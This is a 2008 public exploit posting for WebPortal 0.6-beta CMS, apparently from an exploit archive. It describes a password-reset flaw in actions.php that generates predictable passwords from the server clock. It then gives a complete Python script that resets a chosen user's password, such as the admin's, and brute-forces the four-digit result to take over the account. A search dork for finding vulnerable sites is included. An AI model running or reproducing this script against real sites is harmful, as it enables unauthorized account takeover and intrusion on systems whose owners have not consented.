Home / os / win10

webportalcms-passwd.txt

Posted on 05 January 2008

#!/usr/bin/python #=================================================================================================# # ____ __________ __ ____ __ # # /_ | ____ |__\_____ _____/ |_ /_ |/ |_ # # | |/ | | _(__ <_/ ___ __ ______ | __ # # | | | | |/ \___| | /_____/ | || | # # |___|___| /\__| /______ /\___ >__| |___||__| # # /\______| / / # #=================================================================================================# # This is a Public Exploit. # # Date: 04/01/2008 [dd,mm,yyyy] # # # # !!!Happy New Year!!! # # # #=================================================================================================# # WebPortal-0.6-beta Cms And Maybe Lower Remote Password Change Exploit # # # # Vendor: webportal.ivanoculmine.com # # Severity: Highest # # Author: The:Paradox # #=================================================================================================# # This exploit works with Magic Quotes = On # #=================================================================================================# # Proud To Be Italian. # #=================================================================================================# """ Related Codes: actions.php; line 14: elseif ($_GET["action"] == "lostpass") { $newpass = date("is").substr($user, 1, 2); $result = db_query ("SELECT * FROM ".$prefix."users WHERE uname='".$_POST["user_name"]."';"); if (db_num_rows($result) > 0) { $utente = db_fetch_array ($result); db_query ("UPDATE ".$prefix."users SET pass='".md5($newpass)."' WHERE id='".$utente["id"]."';"); """ #=================================================================================================# # Proof Of Concept / Bug Explanation: # # # # This vulnerability is in actions.php and make us able to change the password of a victim user. # # The page is a "Password Recovery Tool", that sends a new generated password to user's email. # # It does an Update query (after a vulnerable SQL injection mq = OFF xD) setting as "pass" # # the $newpass variable. Let's look the code. # # # # $newpass = date("is").substr($user, 1, 2); # # # # The newpassword is simply the date (minute+seconds) and the var $user taken trought # # register_globals (we can let it empty). # # So look at your clock, recover the password, and get administator rights ! =D # # # # If get the exactly server date is a problem for you, i have coded a little bruteforcer # # (the new password is a 4 number sequence). # # # #=================================================================================================# # Post Request to "Recover Password" : # # # # POST /webportal-0.6-beta/actions.php?action=lostpass user_name=[UserName] # # # #=================================================================================================# # WebPortal cms is a very bugged platform. Some pages and functions don't work with the server # # configuration Register_globals = Off , A LOT of sql injections with Magic Quotes = Off, # # Full path disclosoures ecc. # # Whatever this one is the most critical ('cause works with Mq=ON). # # Maybe I'll public a sql injection mq=Off. # #=================================================================================================# # Google Dork=> Realizzato utilizzando Web Portal # #=================================================================================================# # Use this at your own risk. You are responsible for your own deeds. # #=================================================================================================# # Python Exploit Starts # #=================================================================================================# import httplib, urllib, sys from string import replace print " ################################################" print " WebPortal-0.6-beta Cms And Maybe Lower " print " Remote Password Change Exploit " print " Date Bruteforcer " print " " print " Discovered By The:Paradox " print " " print " Usage: " print " python %s [Target] [Path] [Username] " % (sys.argv[0]) print " " print " Example: " print " python %s 127.0.0.1 /WebPortal/ Admin " % (sys.argv[0]) print " python %s www.host.com / Admin " % (sys.argv[0]) print " " print " " print "################################################ " if len(sys.argv)<=3: sys.exit() else: print "[.]Exploit Starting." port = "80" target = sys.argv[1] path = sys.argv[2] username = sys.argv[3] #Resetting Password conn = httplib.HTTPConnection(target,port) conn.request("POST", path + "actions.php?action=lostpass", urllib.urlencode({'user_name': username}), {"Accept": "text/plain","Content-Type": "application/x-www-form-urlencoded"}) response = conn.getresponse() print "[.]Resetting Password -->",response.status, response.reason conn.close() #If 404 error: die. if response.status == 404: sys.exit("[-]Unable to reset Password. Failed, Exiting.") #Let's Brute. print "[.]Bruteforcer Starts. This may take long time." for i in range(10000,19999): conn = httplib.HTTPConnection(target,port) conn.request("POST", path + "actions.php", urllib.urlencode({'uname': username,'pass': replace(str(i), "1", "", 1),"action" : "login"}), {"Accept": "text/plain","Content-Type": "application/x-www-form-urlencoded"}) response = conn.getresponse() header = response.getheader("location") if header.find("index.php?error=not_logged") == -1: sys.exit(" [+]Gotcha! Password is: " + replace(str(i), "1", "", 1) + " -=Paradox Got This One=- ") print "[-]Not Found. Exploit Failed."

 

TOP